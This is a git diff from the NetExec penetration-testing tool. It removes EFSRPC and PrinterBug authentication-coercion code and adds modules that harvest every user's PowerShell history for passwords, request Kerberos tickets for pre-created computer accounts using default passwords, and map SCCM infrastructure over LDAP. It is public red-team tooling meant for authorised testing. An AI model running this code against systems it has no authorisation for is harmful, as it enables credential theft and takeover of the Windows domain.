structure = (("Data", ":"),)
|
||||
|
||||
|
||||
class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
("Type", DWORD),
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
("Lenght", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_HASH_BLOB),
|
||||
("Display", LPWSTR),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
||||
structure = (
|
||||
("Lenght", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_CERTIFICATE_BLOB),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
("Cert", DWORD),
|
||||
("Users", ENCRYPTION_CERTIFICATE_HASH),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
|
||||
structure = (
|
||||
("Type", DWORD),
|
||||
("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST),
|
||||
("Certif", ENCRYPTION_CERTIFICATE),
|
||||
("Blob", EFS_RPC_BLOB),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (("Data", ":"),)
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class EfsRpcOpenFileRaw(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
("fileName", WSTR),
|
||||
("Flag", ULONG),
|
||||
)
|
||||
|
||||
|
||||
class EfsRpcOpenFileRawResponse(NDRCALL):
|
||||
structure = (
|
||||
("hContext", EXIMPORT_CONTEXT_HANDLE),
|
||||
("ErrorCode", ULONG),
|
||||
)
|
||||
|
||||
|
||||
class EfsRpcEncryptFileSrv(NDRCALL):
|
||||
opnum = 4
|
||||
structure = (("FileName", WSTR),)
|
||||
|
||||
|
||||
class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
def coerce(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
lmhash,
|
||||
nthash,
|
||||
aesKey,
|
||||
target,
|
||||
pipe,
|
||||
do_kerberos,
|
||||
kdcHost,
|
||||
remoteHost,
|
||||
context=None,
|
||||
):
|
||||
binding_params = {
|
||||
"lsarpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"efsr": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
|
||||
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
|
||||
},
|
||||
"samr": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"lsass": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"netlogon": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
}
|
||||
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
rpc_transport.setRemoteHost(remoteHost)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
if do_kerberos:
|
||||
rpc_transport.set_kerberos(do_kerberos, kdcHost)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
sys.exit()
|
||||
context.log.info("[+] Connected!")
|
||||
context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
|
||||
except Exception as e:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
sys.exit()
|
||||
context.log.info("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
|
||||
def efs_rpc_open_file_raw(dce, listener, context=None):
|
||||
try:
|
||||
request = EfsRpcOpenFileRaw()
|
||||
request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
||||
request["Flag"] = 0
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
|
||||
context.log.info("[+] Attack worked!")
|
||||
return True
|
||||
if str(e).find("rpc_s_access_denied") >= 0:
|
||||
context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!")
|
||||
context.log.info("[+] OK! Using unpatched function!")
|
||||
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
|
||||
try:
|
||||
request = EfsRpcEncryptFileSrv()
|
||||
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
|
||||
context.log.info("[+] Attack worked!")
|
||||
return True
|
||||
else:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
else:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -0,0 +1,73 @@
|
||||
import traceback
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @357384n"""
|
||||
|
||||
name = "powershell_history"
|
||||
description = "Extracts PowerShell history for all users and looks for sensitive commands."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""To export all the history you can add the following option: -o export=True"""
|
||||
context.log.info(f"Received module options: {module_options}")
|
||||
self.export = bool(module_options.get("EXPORT", False))
|
||||
context.log.info(f"Option export set to: {self.export}")
|
||||
|
||||
def analyze_history(self, history):
|
||||
"""Analyze PowerShell history for sensitive information."""
|
||||
sensitive_keywords = [
|
||||
"password", "passwd", "passw", "secret", "credential", "key",
|
||||
"get-credential", "convertto-securestring", "set-localuser",
|
||||
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
|
||||
"invoke-webrequest", "invoke-restmethod"
|
||||
]
|
||||
sensitive_commands = []
|
||||
for command in history:
|
||||
command_lower = command.lower()
|
||||
if any(keyword.lower() in command_lower for keyword in sensitive_keywords):
|
||||
sensitive_commands.append(command.strip())
|
||||
return sensitive_commands
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
"""Main function to retrieve and analyze PowerShell history."""
|
||||
try:
|
||||
context.log.info("Retrieving PowerShell history...")
|
||||
command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"'
|
||||
history = connection.execute(command, True).split("\n")
|
||||
if history:
|
||||
sensitive_commands = self.analyze_history(history)
|
||||
if sensitive_commands:
|
||||
context.log.highlight("Sensitive commands found in PowerShell history:")
|
||||
for command in sensitive_commands:
|
||||
context.log.highlight(f" {command}")
|
||||
else:
|
||||
context.log.info("No sensitive commands found in PowerShell history.")
|
||||
else:
|
||||
context.log.info("No PowerShell history found.")
|
||||
|
||||
# Check if export is enabled
|
||||
context.log.info(f"Export option is set to: {self.export}")
|
||||
if self.export and history:
|
||||
host = connection.host # Assuming 'host' contains the target IP or hostname
|
||||
filename = f"{host}_powershell_history.txt"
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
|
||||
context.log.info(f"Export enabled, writing history to {path}")
|
||||
try:
|
||||
with open(path, "w") as file:
|
||||
for cmd in history:
|
||||
file.write(cmd + "\n")
|
||||
context.log.highlight(f"PowerShell history written to: {path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to write history to {filename}: {e}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
@@ -0,0 +1,126 @@
|
||||
import os
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5 import constants
|
||||
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
|
||||
Module by: @shad0wcntr0ller
|
||||
"""
|
||||
name = "pre2k"
|
||||
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
ldap_connection = connection.ldapConnection
|
||||
|
||||
# Define the search filter for pre-created computer accounts
|
||||
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
|
||||
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
|
||||
|
||||
context.log.info(f"Using search filter: {search_filter}")
|
||||
context.log.info(f"Attributes to retrieve: {attributes}")
|
||||
|
||||
computers = []
|
||||
|
||||
try:
|
||||
# Use paged search to retrieve all computer accounts with specific flags
|
||||
search_results = connection.search(search_filter, attributes)
|
||||
results = parse_result_attributes(search_results)
|
||||
context.log.debug(f"Search results: {results}")
|
||||
|
||||
for computer in results:
|
||||
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
|
||||
# Check if the account is a pre-created computer account
|
||||
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
|
||||
computers.append(computer["sAMAccountName"])
|
||||
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
|
||||
|
||||
# Save computers to file
|
||||
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
|
||||
output_file = os.path.join(domain_dir, "precreated_computers.txt")
|
||||
|
||||
# Create directories if they do not exist
|
||||
os.makedirs(domain_dir, exist_ok=True)
|
||||
|
||||
with open(output_file, "w") as file:
|
||||
for computer in computers:
|
||||
file.write(f"{computer}\n")
|
||||
|
||||
# Print discovered pre-created computer accounts
|
||||
if computers:
|
||||
for computer in computers:
|
||||
context.log.highlight(f"Pre-created computer account: {computer}")
|
||||
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
|
||||
else:
|
||||
context.log.info("No pre-created computer accounts found.")
|
||||
|
||||
# Obtain TGTs and save to ccache
|
||||
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
|
||||
os.makedirs(ccache_base_dir, exist_ok=True)
|
||||
|
||||
successful_tgts = 0
|
||||
|
||||
for computer in computers:
|
||||
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
|
||||
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
|
||||
successful_tgts += 1
|
||||
|
||||
# Summary of TGT results
|
||||
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error occurred during search: {e}")
|
||||
|
||||
ldap_connection.close()
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error occurred during LDAP connection: {e}")
|
||||
return False
|
||||
|
||||
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
|
||||
try:
|
||||
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
password = username # Password is the machine name in lowercase
|
||||
context.log.info(f"Getting TGT for {username}@{domain}")
|
||||
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
|
||||
clientName=userName,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash="",
|
||||
nthash="",
|
||||
aesKey="",
|
||||
kdcHost=kdcHost,
|
||||
serverName=None
|
||||
)
|
||||
|
||||
self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
|
||||
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
|
||||
return True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
|
||||
return False
|
||||
|
||||
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
|
||||
try:
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(ticket, sessionKey, sessionKey)
|
||||
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
|
||||
ccache.saveFile(ccache_filename)
|
||||
context.log.info(f"Saved ticket in {ccache_filename}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to save ticket for {username}: {e}")
|
||||
@@ -1,9 +1,6 @@
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "printerbug"
|
||||
description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
|
||||
description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -20,98 +17,4 @@ class NXCModule:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
trigger = TriggerAuth(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
dce = trigger.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
|
||||
if dce is not None:
|
||||
context.log.debug("Target is vulnerable to PrinterBug")
|
||||
trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
|
||||
context.log.highlight("VULNERABLE")
|
||||
dce.disconnect()
|
||||
else:
|
||||
context.log.debug("Target is not vulnerable to PrinterBug")
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
|
||||
|
||||
class TriggerAuth:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
|
||||
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
|
||||
rpctransport.set_dport(445)
|
||||
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
|
||||
rpctransport.setRemoteHost(target)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
try:
|
||||
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
self.context.log.debug("Successfully bound!")
|
||||
return dce
|
||||
|
||||
def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
|
||||
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
|
||||
try:
|
||||
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
|
||||
except Exception as e:
|
||||
if str(e).find("Broken pipe") >= 0:
|
||||
# The connection timed-out. Let's try to bring it back next round
|
||||
self.context.log.error("Connection failed - skipping host!")
|
||||
return
|
||||
elif str(e).upper().find("ACCESS_DENIED"):
|
||||
# We're not admin, bye
|
||||
self.context.log.error("Access denied - RPC call was denied")
|
||||
dce.disconnect()
|
||||
return
|
||||
else:
|
||||
raise
|
||||
self.context.log.debug("Got handle")
|
||||
|
||||
try:
|
||||
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
|
||||
request["hPrinter"] = resp["pHandle"]
|
||||
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
||||
request["pszLocalMachine"] = "\\\\%s\x00" % listener
|
||||
except Exception as e:
|
||||
self.context.log.debug(e)
|
||||
|
||||
try:
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
self.context.log.debug(e)
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
+1
-1
@@ -53,7 +53,7 @@ class NXCModule:
|
||||
for attrs in resp:
|
||||
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
|
||||
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, observationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
|
||||
for attr in attrs["attributes"]:
|
||||
if str(attr["type"]) == "name":
|
||||
policyName = attr["vals"][0]
|
||||
|
||||
@@ -17,7 +17,7 @@ class NXCModule:
|
||||
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
|
||||
context.log.debug(f"Executing command: {command}")
|
||||
p = connection.execute(command, True)
|
||||
if "The system was unable to find the specified registry key or value" in p:
|
||||
if not p or "The system was unable to find the specified registry key or value" in p:
|
||||
context.log.debug("Unable to find RunAsPPL Registry Key")
|
||||
else:
|
||||
context.log.highlight(p)
|
||||
@@ -0,0 +1,288 @@
|
||||
from impacket.ldap import ldap, ldaptypes, ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
SAM_USER_OBJECT = 0x30000000
|
||||
SAM_MACHINE_ACCOUNT = 0x30000001
|
||||
SAM_GROUP_OBJECT = 0x10000000
|
||||
LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Implementation of the SCCM RECON-1 technique to find SCCM related objects in Active Directory.
|
||||
See:
|
||||
https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
|
||||
https://github.com/garrettfoster13/sccmhunter
|
||||
|
||||
Module by @NeffIsBack
|
||||
"""
|
||||
|
||||
name = "sccm"
|
||||
description = "Find a SCCM infrastructure in the Active Directory"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.sccm_site_servers = [] # List of dns host names of the SCCM site servers
|
||||
self.sccm_sites = {} # List of SCCM sites with their management points (Sorted by site code)
|
||||
self.base_dn = ""
|
||||
self.recursive_resolve = False
|
||||
|
||||
self.user_objects = []
|
||||
self.computer_objects = []
|
||||
self.group_objects = {}
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
BASE_DN The base domain name for the LDAP query
|
||||
REC_RESOLVE Resolve members of groups recursively. Default: False
|
||||
"""
|
||||
if module_options and "BASE_DN" in module_options:
|
||||
self.base_dn = module_options["BASE_DN"]
|
||||
if module_options and "REC_RESOLVE" in module_options:
|
||||
self.recursive_resolve = bool(module_options["REC_RESOLVE"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn
|
||||
self.sc = ldap.SimplePagedResultsControl()
|
||||
|
||||
# Basic SCCM enumeration
|
||||
try:
|
||||
# Search for SCCM root object
|
||||
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
|
||||
controls = security_descriptor_control(sdflags=0x04)
|
||||
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
|
||||
result = connection.ldapConnection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
sizeLimit=0,
|
||||
searchControls=controls,
|
||||
searchBase=self.base_dn,
|
||||
)
|
||||
|
||||
# There should be only one result
|
||||
for item in result:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry):
|
||||
self.context.log.success(f"Found SCCM object: {item[0]}")
|
||||
self.get_site_servers(item)
|
||||
self.get_sites()
|
||||
self.get_management_points()
|
||||
|
||||
# Print results
|
||||
self.context.log.success(f"Found {len(self.sccm_site_servers)} Site Servers:")
|
||||
for site in self.sccm_site_servers:
|
||||
ip = self.connection.resolver(site)
|
||||
self.context.log.highlight(f"{site} - {ip['host'] if ip else 'unknown'}")
|
||||
self.context.log.success(f"Found {len(self.sccm_sites)} SCCM Sites:")
|
||||
for site in self.sccm_sites:
|
||||
self.context.log.highlight(f"{self.sccm_sites[site]['cn']}")
|
||||
self.context.log.highlight(f" Site Code: {site.rjust(14)}")
|
||||
self.context.log.highlight(f" Assignment Site Code: {self.sccm_sites[site]['AssignmentSiteCode'].rjust(3)}")
|
||||
|
||||
# If there aren't Management Points, it's a Central Administration Site
|
||||
if self.sccm_sites[site]["ManagementPoints"]:
|
||||
self.context.log.highlight(f" CAS: {' ':<17}{False}")
|
||||
self.context.log.highlight(" Management Points:")
|
||||
for mp in self.sccm_sites[site]["ManagementPoints"]:
|
||||
self.context.log.highlight(f" CN:{' ':<12}{mp['cn']}")
|
||||
self.context.log.highlight(f" DNS Hostname:{' ':<2}{mp['dNSHostName']}")
|
||||
self.context.log.highlight(f" IP Address:{' ':<4}{mp['IPAddress']}")
|
||||
self.context.log.highlight(f" Default MP:{' ':<4}{mp['mSSMSDefaultMP']}")
|
||||
else:
|
||||
self.context.log.highlight(f" CAS: {' ':<17}{True}")
|
||||
self.context.log.highlight("")
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(f"Got unexpected exception: {e}")
|
||||
|
||||
# SCCM named objects enumeration
|
||||
self.get_sccm_named_objects(context, connection)
|
||||
if self.user_objects:
|
||||
context.log.success(f"Found {len(self.user_objects)} SCCM related user objects:")
|
||||
for user in self.user_objects:
|
||||
context.log.highlight(user)
|
||||
if self.computer_objects:
|
||||
context.log.success(f"Found {len(self.computer_objects)} SCCM related computer objects:")
|
||||
for computer in self.computer_objects:
|
||||
context.log.highlight(computer)
|
||||
if self.group_objects:
|
||||
context.log.success(f"Found {len(self.group_objects)} SCCM related group objects:")
|
||||
for group in self.group_objects:
|
||||
context.log.highlight(self.group_objects[group]["sAMAccountName"])
|
||||
for child in self.group_objects[group]["children"]:
|
||||
if int(child["sAMAccountType"]) == SAM_USER_OBJECT:
|
||||
context.log.highlight(f" {child['sAMAccountName']} -> User")
|
||||
elif int(child["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
|
||||
context.log.highlight(f" {child['sAMAccountName']} -> Computer")
|
||||
elif int(child["sAMAccountType"]) == SAM_GROUP_OBJECT:
|
||||
context.log.highlight(f" {child['sAMAccountName']} -> Group")
|
||||
|
||||
def get_sccm_named_objects(self, context, connection):
|
||||
"""Enumerate users/groups/computers with "SCCM" in their name"""
|
||||
# hippity hoppity your code is now my property, filter stolen from the awesome sccmhunter repository
|
||||
# https://github.com/garrettfoster13/sccmhunter
|
||||
try:
|
||||
yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))"
|
||||
context.log.display("Searching for SCCM related objects")
|
||||
result = connection.ldapConnection.search(
|
||||
searchFilter=yoinkers,
|
||||
searchBase=self.base_dn,
|
||||
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
|
||||
)
|
||||
|
||||
result = parse_result_attributes(result)
|
||||
for res in result:
|
||||
if "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_USER_OBJECT:
|
||||
self.user_objects.append(res["sAMAccountName"])
|
||||
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
|
||||
self.computer_objects.append(res["sAMAccountName"])
|
||||
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_GROUP_OBJECT:
|
||||
self.group_objects[res["distinguishedName"]] = {
|
||||
"sAMAccountName": res["sAMAccountName"],
|
||||
"children": [],
|
||||
}
|
||||
if self.recursive_resolve:
|
||||
self.resolve_recursive(res["distinguishedName"])
|
||||
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(f"Got unexpected exception: {e}")
|
||||
|
||||
def resolve_recursive(self, dn):
|
||||
"""Recursively resolve members of a group."""
|
||||
try:
|
||||
self.context.log.debug(f"Resolving group members recursively for {dn}")
|
||||
# Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN
|
||||
result = self.connection.ldapConnection.search(
|
||||
searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})",
|
||||
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
|
||||
)
|
||||
|
||||
result = parse_result_attributes(result)
|
||||
for res in result:
|
||||
self.group_objects[dn]["children"].append({
|
||||
"sAMAccountName": res["sAMAccountName"],
|
||||
"distinguishedName": res["distinguishedName"],
|
||||
"sAMAccountType": res["sAMAccountType"],
|
||||
})
|
||||
|
||||
except LDAPSearchError as e:
|
||||
self.context.log.error(f"Error resolving group members: {e}")
|
||||
|
||||
def get_management_points(self):
|
||||
"""Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code."""
|
||||
try:
|
||||
response = self.connection.ldapConnection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter="(objectClass=mSSMSManagementPoint)",
|
||||
attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"],
|
||||
)
|
||||
|
||||
response_parsed = parse_result_attributes(response)
|
||||
|
||||
for mp in response_parsed:
|
||||
ip = self.connection.resolver(mp["dNSHostName"])
|
||||
self.sccm_sites[mp["mSSMSSiteCode"]]["ManagementPoints"].append({
|
||||
"cn": mp["cn"],
|
||||
"dNSHostName": mp["dNSHostName"],
|
||||
"IPAddress": ip["host"] if ip else "-",
|
||||
"mSSMSDefaultMP": mp["mSSMSDefaultMP"],
|
||||
})
|
||||
|
||||
except LDAPSearchError as e:
|
||||
self.context.log.error(f"Error searching for management points: {e}")
|
||||
|
||||
def get_sites(self):
|
||||
"""Searches for all SCCM sites in the Active Directory, sorted by site code."""
|
||||
try:
|
||||
response = self.connection.ldapConnection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter="(objectClass=mSSMSSite)",
|
||||
attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"],
|
||||
)
|
||||
|
||||
response_parsed = parse_result_attributes(response)
|
||||
|
||||
for site in response_parsed:
|
||||
self.sccm_sites[site["mSSMSSiteCode"]] = {
|
||||
"cn": site["cn"],
|
||||
"AssignmentSiteCode": site["mSSMSAssignmentSiteCode"],
|
||||
"ManagementPoints": []
|
||||
}
|
||||
|
||||
except LDAPSearchError as e:
|
||||
self.context.log.error(f"Error searching for sites: {e}")
|
||||
|
||||
def get_site_servers(self, item):
|
||||
"""Extracts the site servers from the root SCCM object."""
|
||||
raw_sec_descriptor = str(item[1][0][1][0]).encode("latin-1")
|
||||
